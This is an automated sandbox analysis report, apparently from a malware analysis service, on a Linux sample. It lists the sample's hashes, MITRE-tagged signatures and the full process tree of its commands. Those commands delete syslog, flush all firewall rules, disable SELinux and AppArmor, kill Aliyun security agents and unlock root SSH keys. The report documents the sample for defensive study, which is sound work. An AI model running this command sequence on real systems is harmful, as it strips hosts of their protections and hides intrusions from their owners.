36bf7b2ab7968880ccc696927c03167b6056e73043fd97a33d2468383a5bafce

Analysis

max time kernel
149s
max time network
128s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240508-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240508-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
10/06/2024, 23:24

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
9c49ae984d906ceaec81ac5136685913_JaffaCakes118
Size 70KB
Sample240610-3d7deavdmf
SHA256 36bf7b2ab7968880ccc696927c03167b6056e73043fd97a33d2468383a5bafce
MD5 9c49ae984d906ceaec81ac5136685913
SHA1 132c4eef7f429b17d2b64d75310dec57d675bb59
SHA512 4d060f5b595f0cd967ad2509afeca1ef3a5e8dda9693b67a9cb7854673e4d80d1711720c61721fe774435c185ff612805432ab2df664a733f570d511563adc6e
SSDEEP 768:574Qmiz4Z88mqKWCgpKKHqnv/5dn8bqS0piRCuaxz5st3P/hpE905zDgYqcEejDh:OQsKKHCtq7bzDgYqcEejDgYq80tnoFZ
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

evasion rootkit

Malware Config

Signatures

Deletes system logs 1 TTPs 1 IoCs

Deletes log file which contains global system messages. Adversaries may delete system logs to minimize their footprint.

evasion

Indicator Removal

T1070

description	ioc	Process
File deleted	/var/log/syslog	rm

Flushes firewall rules 3 IoCs

Flushes/ disables firewall rules inside the Linux kernel.

pid	Process
1500	ufw
1678	iptables
1718	update-rc.d

Loads a kernel module 1 IoCs

Loads a Linux kernel module, potentially to achieve persistence

rootkit

ioc	pid	Process
/lib/modules/4.15.0-213-generic/kernel/net/ipv6/netfilter/ip6_tables.ko	1507	modprobe

Writes DNS configuration 1 TTPs 1 IoCs

Writes data to DNS resolver config file.

Dynamic Resolution

T1568

description	ioc	Process
File opened for modification	/etc/resolv.conf	9c49ae984d906ceaec81ac5136685913_JaffaCakes118

Attempts to change immutable files 64 IoCs

Modifies inode attributes on the filesystem to allow changing of immutable files.

pid	Process
1873	chattr
1879	chattr
1895	chattr
1523	iptables
1641	ip6tables
1847	chattr
1580	iptables
1801	chattr
1886	chattr
1692	grep
1551	iptables
1605	ip6tables
1685	chattr
1588	iptables
1597	ip6tables
1607	ip6tables
1637	ip6tables
1638	ip6tables
1516	iptables
1524	iptables
1568	iptables
1639	ip6tables
1750	xargs
1805	chattr
1840	chattr
1857	chattr
1636	ip6tables
1690	grep
1794	chattr
1664	ip6tables
1711	systemd-sysv-install
1787	chattr
1798	chattr
1808	chattr
1548	iptables
1601	ip6tables
1640	ip6tables
1552	iptables
1815	chattr
1888	chattr
1555	iptables
1606	ip6tables
1762	chattr
1773	chattr
1784	chattr
1819	chattr
1833	chattr
1881	chattr
1519	iptables
1522	iptables
1525	iptables
1632	ip6tables
1635	ip6tables
1672	ip6tables
1684	chattr
1854	chattr
1498	chattr
1499	chattr
1536	iptables
1864	chattr
1875	chattr
1850	chattr
1520	iptables
1766	chattr

Disables AppArmor 28 IoCs

Disables AppArmor security module.

pid	Process
1714	systemctl
1720	systemctl
1720	systemctl
1720	systemctl
1714	systemctl
1710	systemctl
1714	systemctl
1719	systemctl
1719	systemctl
1720	systemctl
1694	systemctl
1719	systemctl
1694	systemctl
1694	systemctl
1714	systemctl
1714	systemctl
1714	systemctl
1719	systemctl
1719	systemctl
1694	systemctl
1719	systemctl
1731	systemctl
1742	systemctl
1694	systemctl
1720	systemctl
1729	systemctl
1720	systemctl
1694	systemctl

Disables SELinux 1 IoCs

Disables SELinux security module.

pid	Process
1693	setenforce

Enumerates running processes
Discovers information about currently running processes on the system

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
2	iplogger.org
3	iplogger.org

Changes its process name 1 IoCs

description	ioc	pid
Changes the process name, possibly in an attempt to hide itself	(sysv-install)	1711

Reads CPU attributes 1 TTPs 4 IoCs

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps

Enumerates kernel/hardware configuration 1 TTPs 2 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/module/ip6_tables/initstate	modprobe
File opened for reading	/sys/module/x_tables/initstate	modprobe

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

description	ioc	Process
File opened for reading	/proc/160/cmdline	ps
File opened for reading	/proc/83/status	ps
File opened for reading	/proc/1240/stat	ps
File opened for reading	/proc/452/status	ps
File opened for reading	/proc/966/cmdline	ps
File opened for reading	/proc/1181/stat	ps
File opened for reading	/proc/1194/status	ps
File opened for reading	/proc/266/status	ps
File opened for reading	/proc/1087/stat	ps
File opened for reading	/proc/721/stat	ps
File opened for reading	/proc/1096/stat	ps
File opened for reading	/proc/683/cmdline	ps
File opened for reading	/proc/1173/cmdline	ps
File opened for reading	/proc/80/stat	ps
File opened for reading	/proc/1145/status	ps
File opened for reading	/proc/sys/kernel/osrelease	systemctl
File opened for reading	/proc/159/cmdline	ps
File opened for reading	/proc/201/cmdline	ps
File opened for reading	/proc/546/status	ps
File opened for reading	/proc/950/cmdline	ps
File opened for reading	/proc/1140/cmdline	ps
File opened for reading	/proc/453/stat	ps
File opened for reading	/proc/671/status	ps
File opened for reading	/proc/169/stat	ps
File opened for reading	/proc/496/cmdline	ps
File opened for reading	/proc/7/status	ps
File opened for reading	/proc/98/cmdline	ps
File opened for reading	/proc/7/stat	ps
File opened for reading	/proc/1187/cmdline	ps
File opened for reading	/proc/160/status	ps
File opened for reading	/proc/609/stat	ps
File opened for reading	/proc/7/stat	ps
File opened for reading	/proc/18/status	ps
File opened for reading	/proc/1168/status	ps
File opened for reading	/proc/32/cmdline	ps
File opened for reading	/proc/1131/cmdline	ps
File opened for reading	/proc/1748/cmdline	ps
File opened for reading	/proc/24/cmdline	ps
File opened for reading	/proc/171/status	ps
File opened for reading	/proc/1036/stat	ps
File opened for reading	/proc/476/status	ps
File opened for reading	/proc/900/status	ps
File opened for reading	/proc/1487/status	ps
File opened for reading	/proc/36/status	ps
File opened for reading	/proc/14/status	ps
File opened for reading	/proc/452/stat	ps
File opened for reading	/proc/32/status	ps
File opened for reading	/proc/496/status	ps
File opened for reading	/proc/32/status	ps
File opened for reading	/proc/520/status	ps
File opened for reading	/proc/476/status	ps
File opened for reading	/proc/452/status	ps
File opened for reading	/proc/19/stat	ps
File opened for reading	/proc/80/stat	ps
File opened for reading	/proc/1067/cmdline	ps
File opened for reading	/proc/1073/status	ps
File opened for reading	/proc/1181/cmdline	ps
File opened for reading	/proc/29/stat	ps
File opened for reading	/proc/157/stat	ps
File opened for reading	/proc/1063/stat	ps
File opened for reading	/proc/1185/stat	ps
File opened for reading	/proc/137/stat	ps
File opened for reading	/proc/1185/cmdline	ps
File opened for reading	/proc/476/cmdline	ps

/tmp/9c49ae984d906ceaec81ac5136685913_JaffaCakes118
/tmp/9c49ae984d906ceaec81ac5136685913_JaffaCakes118
1⤵
- Writes DNS configuration
PID:1491
- /bin/rm
  rm -rf /var/log/syslog
  2⤵
  - Deletes system logs
  PID:1497
- /usr/bin/chattr
  chattr -iua /tmp/
  2⤵
  - Attempts to change immutable files
  PID:1498
- /usr/bin/chattr
  chattr -iua /var/tmp/
  2⤵
  - Attempts to change immutable files
  PID:1499
- /usr/sbin/ufw
  ufw disable
  2⤵
  - Flushes firewall rules
  PID:1500
- - /sbin/iptables
    /sbin/iptables -V
    3⤵
    PID:1504
- - /lib/ufw/ufw-init
    /lib/ufw/ufw-init force-stop
    3⤵
    PID:1505
  - - /sbin/ip6tables
      ip6tables -L INPUT -n
      4⤵
      PID:1506
    - - /sbin/modprobe
        
        /sbin/modprobe ip6_tables
        5⤵
        Loads a kernel module
        Enumerates kernel/hardware configuration
        
        PID:1507
  - - /sbin/iptables
      iptables -F ufw-logging-deny
      4⤵
      PID:1511
  - - /sbin/iptables
      iptables -F ufw-logging-allow
      4⤵
      PID:1514
  - - /sbin/iptables
      iptables -F ufw-not-local
      4⤵
      PID:1515
  - - /sbin/iptables
      iptables -F ufw-user-logging-input
      4⤵
      Attempts to change immutable files
      PID:1516
  - - /sbin/iptables
      iptables -F ufw-user-limit-accept
      4⤵
      PID:1517
  - - /sbin/iptables
      iptables -F ufw-user-limit
      4⤵
      PID:1518
  - - /sbin/iptables
      iptables -F ufw-skip-to-policy-input
      4⤵
      Attempts to change immutable files
      PID:1519
  - - /sbin/iptables
      iptables -F ufw-reject-input
      4⤵
      Attempts to change immutable files
      PID:1520
  - - /sbin/iptables
      iptables -F ufw-after-logging-input
      4⤵
      PID:1521
  - - /sbin/iptables
      iptables -F ufw-after-input
      4⤵
      Attempts to change immutable files
      PID:1522
  - - /sbin/iptables
      iptables -F ufw-user-input
      4⤵
      Attempts to change immutable files
      PID:1523
  - - /sbin/iptables
      iptables -F ufw-before-input
      4⤵
      Attempts to change immutable files
      PID:1524
  - - /sbin/iptables
      iptables -F ufw-before-logging-input
      4⤵
      Attempts to change immutable files
      PID:1525
  - - /sbin/iptables
      iptables -F ufw-skip-to-policy-forward
      4⤵
      PID:1526
  - - /sbin/iptables
      iptables -F ufw-reject-forward
      4⤵
      PID:1527
  - - /sbin/iptables
      iptables -F ufw-after-logging-forward
      4⤵
      PID:1528
  - - /sbin/iptables
      iptables -F ufw-after-forward
      4⤵
      PID:1529
  - - /sbin/iptables
      iptables -F ufw-user-logging-forward
      4⤵
      PID:1530
  - - /sbin/iptables
      iptables -F ufw-user-forward
      4⤵
      PID:1531
  - - /sbin/iptables
      iptables -F ufw-before-forward
      4⤵
      PID:1532
  - - /sbin/iptables
      iptables -F ufw-before-logging-forward
      4⤵
      PID:1533
  - - /sbin/iptables
      iptables -F ufw-track-forward
      4⤵
      PID:1534
  - - /sbin/iptables
      iptables -F ufw-track-output
      4⤵
      PID:1535
  - - /sbin/iptables
      iptables -F ufw-track-input
      4⤵
      Attempts to change immutable files
      PID:1536
  - - /sbin/iptables
      iptables -F ufw-skip-to-policy-output
      4⤵
      PID:1537
  - - /sbin/iptables
      iptables -F ufw-reject-output
      4⤵
      PID:1538
  - - /sbin/iptables
      iptables -F ufw-after-logging-output
      4⤵
      PID:1539
  - - /sbin/iptables
      iptables -F ufw-after-output
      4⤵
      PID:1540
  - - /sbin/iptables
      iptables -F ufw-user-logging-output
      4⤵
      PID:1541
  - - /sbin/iptables
      iptables -F ufw-user-output
      4⤵
      PID:1542
  - - /sbin/iptables
      iptables -F ufw-before-output
      4⤵
      PID:1543
  - - /sbin/iptables
      iptables -F ufw-before-logging-output
      4⤵
      PID:1544
  - - /sbin/iptables
      iptables -Z ufw-logging-deny
      4⤵
      PID:1545
  - - /sbin/iptables
      iptables -Z ufw-logging-allow
      4⤵
      PID:1546
  - - /sbin/iptables
      iptables -Z ufw-not-local
      4⤵
      PID:1547
  - - /sbin/iptables
      iptables -Z ufw-user-logging-input
      4⤵
      Attempts to change immutable files
      PID:1548
  - - /sbin/iptables
      iptables -Z ufw-user-limit-accept
      4⤵
      PID:1549
  - - /sbin/iptables
      iptables -Z ufw-user-limit
      4⤵
      PID:1550
  - - /sbin/iptables
      iptables -Z ufw-skip-to-policy-input
      4⤵
      Attempts to change immutable files
      PID:1551
  - - /sbin/iptables
      iptables -Z ufw-reject-input
      4⤵
      Attempts to change immutable files
      PID:1552
  - - /sbin/iptables
      iptables -Z ufw-after-logging-input
      4⤵
      PID:1553
  - - /sbin/iptables
      iptables -Z ufw-after-input
      4⤵
      PID:1554
  - - /sbin/iptables
      iptables -Z ufw-user-input
      4⤵
      Attempts to change immutable files
      PID:1555
  - - /sbin/iptables
      iptables -Z ufw-before-input
      4⤵
      PID:1556
  - - /sbin/iptables
      iptables -Z ufw-before-logging-input
      4⤵
      PID:1557
  - - /sbin/iptables
      iptables -Z ufw-skip-to-policy-forward
      4⤵
      PID:1558
  - - /sbin/iptables
      iptables -Z ufw-reject-forward
      4⤵
      PID:1559
  - - /sbin/iptables
      iptables -Z ufw-after-logging-forward
      4⤵
      PID:1560
  - - /sbin/iptables
      iptables -Z ufw-after-forward
      4⤵
      PID:1561
  - - /sbin/iptables
      iptables -Z ufw-user-logging-forward
      4⤵
      PID:1562
  - - /sbin/iptables
      iptables -Z ufw-user-forward
      4⤵
      PID:1563
  - - /sbin/iptables
      iptables -Z ufw-before-forward
      4⤵
      PID:1564
  - - /sbin/iptables
      iptables -Z ufw-before-logging-forward
      4⤵
      PID:1565
  - - /sbin/iptables
      iptables -Z ufw-track-forward
      4⤵
      PID:1566
  - - /sbin/iptables
      iptables -Z ufw-track-output
      4⤵
      PID:1567
  - - /sbin/iptables
      iptables -Z ufw-track-input
      4⤵
      Attempts to change immutable files
      PID:1568
  - - /sbin/iptables
      iptables -Z ufw-skip-to-policy-output
      4⤵
      PID:1569
  - - /sbin/iptables
      iptables -Z ufw-reject-output
      4⤵
      PID:1570
  - - /sbin/iptables
      iptables -Z ufw-after-logging-output
      4⤵
      PID:1571
  - - /sbin/iptables
      iptables -Z ufw-after-output
      4⤵
      PID:1572
  - - /sbin/iptables
      iptables -Z ufw-user-logging-output
      4⤵
      PID:1573
  - - /sbin/iptables
      iptables -Z ufw-user-output
      4⤵
      PID:1574
  - - /sbin/iptables
      iptables -Z ufw-before-output
      4⤵
      PID:1575
  - - /sbin/iptables
      iptables -Z ufw-before-logging-output
      4⤵
      PID:1576
  - - /sbin/iptables
      iptables -X ufw-logging-deny
      4⤵
      PID:1577
  - - /sbin/iptables
      iptables -X ufw-logging-allow
      4⤵
      PID:1578
  - - /sbin/iptables
      iptables -X ufw-not-local
      4⤵
      PID:1579
  - - /sbin/iptables
      iptables -X ufw-user-logging-input
      4⤵
      Attempts to change immutable files
      PID:1580
  - - /sbin/iptables
      iptables -X ufw-user-logging-output
      4⤵
      PID:1581
  - - /sbin/iptables
      iptables -X ufw-user-logging-forward
      4⤵
      PID:1582
  - - /sbin/iptables
      iptables -X ufw-user-limit-accept
      4⤵
      PID:1583
  - - /sbin/iptables
      iptables -X ufw-user-limit
      4⤵
      PID:1584
  - - /sbin/iptables
      iptables -X ufw-user-input
      4⤵
      PID:1585
  - - /sbin/iptables
      iptables -X ufw-user-forward
      4⤵
      PID:1586
  - - /sbin/iptables
      iptables -X ufw-user-output
      4⤵
      PID:1587
  - - /sbin/iptables
      iptables -X ufw-skip-to-policy-input
      4⤵
      Attempts to change immutable files
      PID:1588
  - - /sbin/iptables
      iptables -X ufw-skip-to-policy-output
      4⤵
      PID:1589
  - - /sbin/iptables
      iptables -X ufw-skip-to-policy-forward
      4⤵
      PID:1590
  - - /sbin/iptables
      iptables -P INPUT ACCEPT
      4⤵
      PID:1591
  - - /sbin/iptables
      iptables -P OUTPUT ACCEPT
      4⤵
      PID:1592
  - - /sbin/iptables
      iptables -P FORWARD ACCEPT
      4⤵
      PID:1593
  - - /sbin/ip6tables
      ip6tables -F ufw6-logging-deny
      4⤵
      PID:1594
  - - /sbin/ip6tables
      ip6tables -F ufw6-logging-allow
      4⤵
      PID:1595
  - - /sbin/ip6tables
      ip6tables -F ufw6-not-local
      4⤵
      PID:1596
  - - /sbin/ip6tables
      ip6tables -F ufw6-user-logging-input
      4⤵
      Attempts to change immutable files
      PID:1597
  - - /sbin/ip6tables
      ip6tables -F ufw6-user-limit-accept
      4⤵
      PID:1598
  - - /sbin/ip6tables
      ip6tables -F ufw6-user-limit
      4⤵
      PID:1599
  - - /sbin/ip6tables
      ip6tables -F ufw6-skip-to-policy-input
      4⤵
      PID:1600
  - - /sbin/ip6tables
      ip6tables -F ufw6-reject-input
      4⤵
      Attempts to change immutable files
      PID:1601
  - - /sbin/ip6tables
      ip6tables -F ufw6-after-logging-input
      4⤵
      PID:1603
  - - /sbin/ip6tables
      ip6tables -F ufw6-after-input
      4⤵
      PID:1604
  - - /sbin/ip6tables
      ip6tables -F ufw6-user-input
      4⤵
      Attempts to change immutable files
      PID:1605
  - - /sbin/ip6tables
      ip6tables -F ufw6-before-input
      4⤵
      Attempts to change immutable files
      PID:1606
  - - /sbin/ip6tables
      ip6tables -F ufw6-before-logging-input
      4⤵
      Attempts to change immutable files
      PID:1607
  - - /sbin/ip6tables
      ip6tables -F ufw6-skip-to-policy-forward
      4⤵
      PID:1608
  - - /sbin/ip6tables
      ip6tables -F ufw6-reject-forward
      4⤵
      PID:1609
  - - /sbin/ip6tables
      ip6tables -F ufw6-after-logging-forward
      4⤵
      PID:1610
  - - /sbin/ip6tables
      ip6tables -F ufw6-after-forward
      4⤵
      PID:1611
  - - /sbin/ip6tables
      ip6tables -F ufw6-user-logging-forward
      4⤵
      PID:1612
  - - /sbin/ip6tables
      ip6tables -F ufw6-user-forward
      4⤵
      PID:1613
  - - /sbin/ip6tables
      ip6tables -F ufw6-before-forward
      4⤵
      PID:1616
  - - /sbin/ip6tables
      ip6tables -F ufw6-before-logging-forward
      4⤵
      PID:1617
  - - /sbin/ip6tables
      ip6tables -F ufw6-track-forward
      4⤵
      PID:1618
  - - /sbin/ip6tables
      ip6tables -F ufw6-track-output
      4⤵
      PID:1619
  - - /sbin/ip6tables
      ip6tables -F ufw6-track-input
      4⤵
      PID:1620
  - - /sbin/ip6tables
      ip6tables -F ufw6-skip-to-policy-output
      4⤵
      PID:1621
  - - /sbin/ip6tables
      ip6tables -F ufw6-reject-output
      4⤵
      PID:1622
  - - /sbin/ip6tables
      ip6tables -F ufw6-after-logging-output
      4⤵
      PID:1623
  - - /sbin/ip6tables
      ip6tables -F ufw6-after-output
      4⤵
      PID:1624
  - - /sbin/ip6tables
      ip6tables -F ufw6-user-logging-output
      4⤵
      PID:1625
  - - /sbin/ip6tables
      ip6tables -F ufw6-user-output
      4⤵
      PID:1626
  - - /sbin/ip6tables
      ip6tables -F ufw6-before-output
      4⤵
      PID:1627
  - - /sbin/ip6tables
      ip6tables -F ufw6-before-logging-output
      4⤵
      PID:1628
  - - /sbin/ip6tables
      ip6tables -Z ufw6-logging-deny
      4⤵
      PID:1629
  - - /sbin/ip6tables
      ip6tables -Z ufw6-logging-allow
      4⤵
      PID:1630
  - - /sbin/ip6tables
      ip6tables -Z ufw6-not-local
      4⤵
      PID:1631
  - - /sbin/ip6tables
      ip6tables -Z ufw6-user-logging-input
      4⤵
      Attempts to change immutable files
      PID:1632
  - - /sbin/ip6tables
      ip6tables -Z ufw6-user-limit-accept
      4⤵
      PID:1633
  - - /sbin/ip6tables
      ip6tables -Z ufw6-user-limit
      4⤵
      PID:1634
  - - /sbin/ip6tables
      ip6tables -Z ufw6-skip-to-policy-input
      4⤵
      Attempts to change immutable files
      PID:1635
  - - /sbin/ip6tables
      ip6tables -Z ufw6-reject-input
      4⤵
      Attempts to change immutable files
      PID:1636
  - - /sbin/ip6tables
      ip6tables -Z ufw6-after-logging-input
      4⤵
      Attempts to change immutable files
      PID:1637
  - - /sbin/ip6tables
      ip6tables -Z ufw6-after-input
      4⤵
      Attempts to change immutable files
      PID:1638
  - - /sbin/ip6tables
      ip6tables -Z ufw6-user-input
      4⤵
      Attempts to change immutable files
      PID:1639
  - - /sbin/ip6tables
      ip6tables -Z ufw6-before-input
      4⤵
      Attempts to change immutable files
      PID:1640
  - - /sbin/ip6tables
      ip6tables -Z ufw6-before-logging-input
      4⤵
      Attempts to change immutable files
      PID:1641
  - - /sbin/ip6tables
      ip6tables -Z ufw6-skip-to-policy-forward
      4⤵
      PID:1642
  - - /sbin/ip6tables
      ip6tables -Z ufw6-reject-forward
      4⤵
      PID:1643
  - - /sbin/ip6tables
      ip6tables -Z ufw6-after-logging-forward
      4⤵
      PID:1644
  - - /sbin/ip6tables
      ip6tables -Z ufw6-after-forward
      4⤵
      PID:1645
  - - /sbin/ip6tables
      ip6tables -Z ufw6-user-logging-forward
      4⤵
      PID:1646
  - - /sbin/ip6tables
      ip6tables -Z ufw6-user-forward
      4⤵
      PID:1647
  - - /sbin/ip6tables
      ip6tables -Z ufw6-before-forward
      4⤵
      PID:1648
  - - /sbin/ip6tables
      ip6tables -Z ufw6-before-logging-forward
      4⤵
      PID:1649
  - - /sbin/ip6tables
      ip6tables -Z ufw6-track-forward
      4⤵
      PID:1650
  - - /sbin/ip6tables
      ip6tables -Z ufw6-track-output
      4⤵
      PID:1651
  - - /sbin/ip6tables
      ip6tables -Z ufw6-track-input
      4⤵
      PID:1652
  - - /sbin/ip6tables
      ip6tables -Z ufw6-skip-to-policy-output
      4⤵
      PID:1653
  - - /sbin/ip6tables
      ip6tables -Z ufw6-reject-output
      4⤵
      PID:1654
  - - /sbin/ip6tables
      ip6tables -Z ufw6-after-logging-output
      4⤵
      PID:1655
  - - /sbin/ip6tables
      ip6tables -Z ufw6-after-output
      4⤵
      PID:1656
  - - /sbin/ip6tables
      ip6tables -Z ufw6-user-logging-output
      4⤵
      PID:1657
  - - /sbin/ip6tables
      ip6tables -Z ufw6-user-output
      4⤵
      PID:1658
  - - /sbin/ip6tables
      ip6tables -Z ufw6-before-output
      4⤵
      PID:1659
  - - /sbin/ip6tables
      ip6tables -Z ufw6-before-logging-output
      4⤵
      PID:1660
  - - /sbin/ip6tables
      ip6tables -X ufw6-logging-deny
      4⤵
      PID:1661
  - - /sbin/ip6tables
      ip6tables -X ufw6-logging-allow
      4⤵
      PID:1662
  - - /sbin/ip6tables
      ip6tables -X ufw6-not-local
      4⤵
      PID:1663
  - - /sbin/ip6tables
      ip6tables -X ufw6-user-logging-input
      4⤵
      Attempts to change immutable files
      PID:1664
  - - /sbin/ip6tables
      ip6tables -X ufw6-user-logging-output
      4⤵
      PID:1665
  - - /sbin/ip6tables
      ip6tables -X ufw6-user-logging-forward
      4⤵
      PID:1666
  - - /sbin/ip6tables
      ip6tables -X ufw6-user-limit-accept
      4⤵
      PID:1667
  - - /sbin/ip6tables
      ip6tables -X ufw6-user-limit
      4⤵
      PID:1668
  - - /sbin/ip6tables
      ip6tables -X ufw6-user-input
      4⤵
      PID:1669
  - - /sbin/ip6tables
      ip6tables -X ufw6-user-forward
      4⤵
      PID:1670
  - - /sbin/ip6tables
      ip6tables -X ufw6-user-output
      4⤵
      PID:1671
  - - /sbin/ip6tables
      ip6tables -X ufw6-skip-to-policy-input
      4⤵
      Attempts to change immutable files
      PID:1672
  - - /sbin/ip6tables
      ip6tables -X ufw6-skip-to-policy-output
      4⤵
      PID:1673
  - - /sbin/ip6tables
      ip6tables -X ufw6-skip-to-policy-forward
      4⤵
      PID:1674
  - - /sbin/ip6tables
      ip6tables -P INPUT ACCEPT
      4⤵
      PID:1675
  - - /sbin/ip6tables
      ip6tables -P OUTPUT ACCEPT
      4⤵
      PID:1676
  - - /sbin/ip6tables
      ip6tables -P FORWARD ACCEPT
      4⤵
      PID:1677
- /sbin/iptables
  iptables -F
  2⤵
  - Flushes firewall rules
  PID:1678
- /usr/bin/sudo
  sudo sysctl "kernel.nmi_watchdog=0"
  2⤵
  PID:1679
- /sbin/sysctl
  sysctl "kernel.nmi_watchdog=0"
  2⤵
  PID:1680
- /usr/bin/chattr
  chattr -iae /root/.ssh/
  2⤵
  - Attempts to change immutable files
  PID:1684
- /usr/bin/chattr
  chattr -iae /root/.ssh/authorized_keys
  2⤵
  - Attempts to change immutable files
  PID:1685
- /bin/rm
  rm -rf "/tmp/addres*"
  2⤵
  PID:1686
- /bin/rm
  rm -rf "/tmp/walle*"
  2⤵
  PID:1687
- /bin/rm
  rm -rf /tmp/keys
  2⤵
  PID:1688
- /bin/grep
  grep -i "[a]liyun"
  2⤵
  - Attempts to change immutable files
  PID:1690
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1689
- /bin/grep
  grep -i "[y]unjing"
  2⤵
  - Attempts to change immutable files
  PID:1692
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1691
- /usr/sbin/setenforce
  setenforce 0
  2⤵
  - Disables SELinux
  PID:1693
- /usr/sbin/service
  service apparmor stop
  2⤵
  PID:1694
- - /usr/bin/basename
    basename /usr/sbin/service
    3⤵
    PID:1695
- - /usr/bin/basename
    basename /usr/sbin/service
    3⤵
    PID:1696
- - /bin/systemctl
    systemctl --quiet is-active multi-user.target
    3⤵
    PID:1697
- - /bin/sed
    sed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"
    3⤵
    PID:1700
- - /bin/systemctl
    systemctl list-unit-files --full "--type=socket"
    3⤵
    PID:1699
- /usr/local/sbin/systemctl
  systemctl "--job-mode=ignore-dependencies" stop apparmor.service
  2⤵
  - Disables AppArmor
  PID:1694
- /usr/local/bin/systemctl
  systemctl "--job-mode=ignore-dependencies" stop apparmor.service
  2⤵
  - Disables AppArmor
  PID:1694
- /usr/sbin/systemctl
  systemctl "--job-mode=ignore-dependencies" stop apparmor.service
  2⤵
  - Disables AppArmor
  PID:1694
- /usr/bin/systemctl
  systemctl "--job-mode=ignore-dependencies" stop apparmor.service
  2⤵
  - Disables AppArmor
  PID:1694
- /sbin/systemctl
  systemctl "--job-mode=ignore-dependencies" stop apparmor.service
  2⤵
  - Disables AppArmor
  PID:1694
- /bin/systemctl
  systemctl "--job-mode=ignore-dependencies" stop apparmor.service
  2⤵
  - Disables AppArmor
  PID:1694
- /bin/systemctl
  systemctl disable apparmor
  2⤵
  - Disables AppArmor
  PID:1710
- - /lib/systemd/systemd-sysv-install
    /lib/systemd/systemd-sysv-install disable apparmor
    3⤵
    - Attempts to change immutable files
    PID:1711
  - - /usr/bin/getopt
      getopt -o r: --long root: -- disable apparmor
      4⤵
      PID:1712
  - - /usr/sbin/update-rc.d
      /usr/sbin/update-rc.d apparmor defaults
      4⤵
      PID:1713
    - - /usr/local/sbin/systemctl
        
        systemctl daemon-reload
        5⤵
        Disables AppArmor
        
        PID:1714
    - - /usr/local/bin/systemctl
        
        systemctl daemon-reload
        5⤵
        Disables AppArmor
        
        PID:1714
    - - /usr/sbin/systemctl
        
        systemctl daemon-reload
        5⤵
        Disables AppArmor
        
        PID:1714
    - - /usr/bin/systemctl
        
        systemctl daemon-reload
        5⤵
        Disables AppArmor
        
        PID:1714
    - - /sbin/systemctl
        
        systemctl daemon-reload
        5⤵
        Disables AppArmor
        
        PID:1714
    - - /bin/systemctl
        
        systemctl daemon-reload
        5⤵
        Disables AppArmor
        Reads runtime system information
        
        PID:1714
  - - /usr/sbin/update-rc.d
      /usr/sbin/update-rc.d apparmor disable
      4⤵
      Flushes firewall rules
      PID:1718
    - - /usr/local/sbin/systemctl
        
        systemctl daemon-reload
        5⤵
        Disables AppArmor
        
        PID:1719
    - - /usr/local/bin/systemctl
        
        systemctl daemon-reload
        5⤵
        Disables AppArmor
        
        PID:1719
    - - /usr/sbin/systemctl
        
        systemctl daemon-reload
        5⤵
        Disables AppArmor
        
        PID:1719
    - - /usr/bin/systemctl
        
        systemctl daemon-reload
        5⤵
        Disables AppArmor
        
        PID:1719
    - - /sbin/systemctl
        
        systemctl daemon-reload
        5⤵
        Disables AppArmor
        
        PID:1719
    - - /bin/systemctl
        
        systemctl daemon-reload
        5⤵
        Disables AppArmor
        
        PID:1719
- /usr/sbin/service
  service aliyun.service stop
  2⤵
  PID:1720
- - /usr/bin/basename
    basename /usr/sbin/service
    3⤵
    PID:1721
- - /usr/bin/basename
    basename /usr/sbin/service
    3⤵
    PID:1728
- - /bin/systemctl
    systemctl --quiet is-active multi-user.target
    3⤵
    - Disables AppArmor
    PID:1729
- - /bin/sed
    sed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"
    3⤵
    PID:1732
- - /bin/systemctl
    systemctl list-unit-files --full "--type=socket"
    3⤵
    - Disables AppArmor
    PID:1731
- /usr/local/sbin/systemctl
  systemctl "--job-mode=ignore-dependencies" stop aliyun.service.service
  2⤵
  - Disables AppArmor
  PID:1720
- /usr/local/bin/systemctl
  systemctl "--job-mode=ignore-dependencies" stop aliyun.service.service
  2⤵
  - Disables AppArmor
  PID:1720
- /usr/sbin/systemctl
  systemctl "--job-mode=ignore-dependencies" stop aliyun.service.service
  2⤵
  - Disables AppArmor
  PID:1720
- /usr/bin/systemctl
  systemctl "--job-mode=ignore-dependencies" stop aliyun.service.service
  2⤵
  - Disables AppArmor
  PID:1720
- /sbin/systemctl
  systemctl "--job-mode=ignore-dependencies" stop aliyun.service.service
  2⤵
  - Disables AppArmor
  PID:1720
- /bin/systemctl
  systemctl "--job-mode=ignore-dependencies" stop aliyun.service.service
  2⤵
  - Disables AppArmor
  PID:1720
- /bin/systemctl
  systemctl disable aliyun.service
  2⤵
  - Disables AppArmor
  PID:1742
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1750
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1749
- /bin/grep
  grep aegis
  2⤵
  PID:1748
- /bin/grep
  grep -v grep
  2⤵
  PID:1747
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1746
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1755
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1754
- /bin/grep
  grep Yun
  2⤵
  PID:1753
- /bin/grep
  grep -v grep
  2⤵
  PID:1752
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1751
- /bin/rm
  rm -rf /usr/local/aegis
  2⤵
  PID:1756
- /bin/mkdir
  mkdir /usr/share -p
  2⤵
  PID:1757
- /usr/bin/chattr
  chattr -i /bin/chmod
  2⤵
  PID:1759
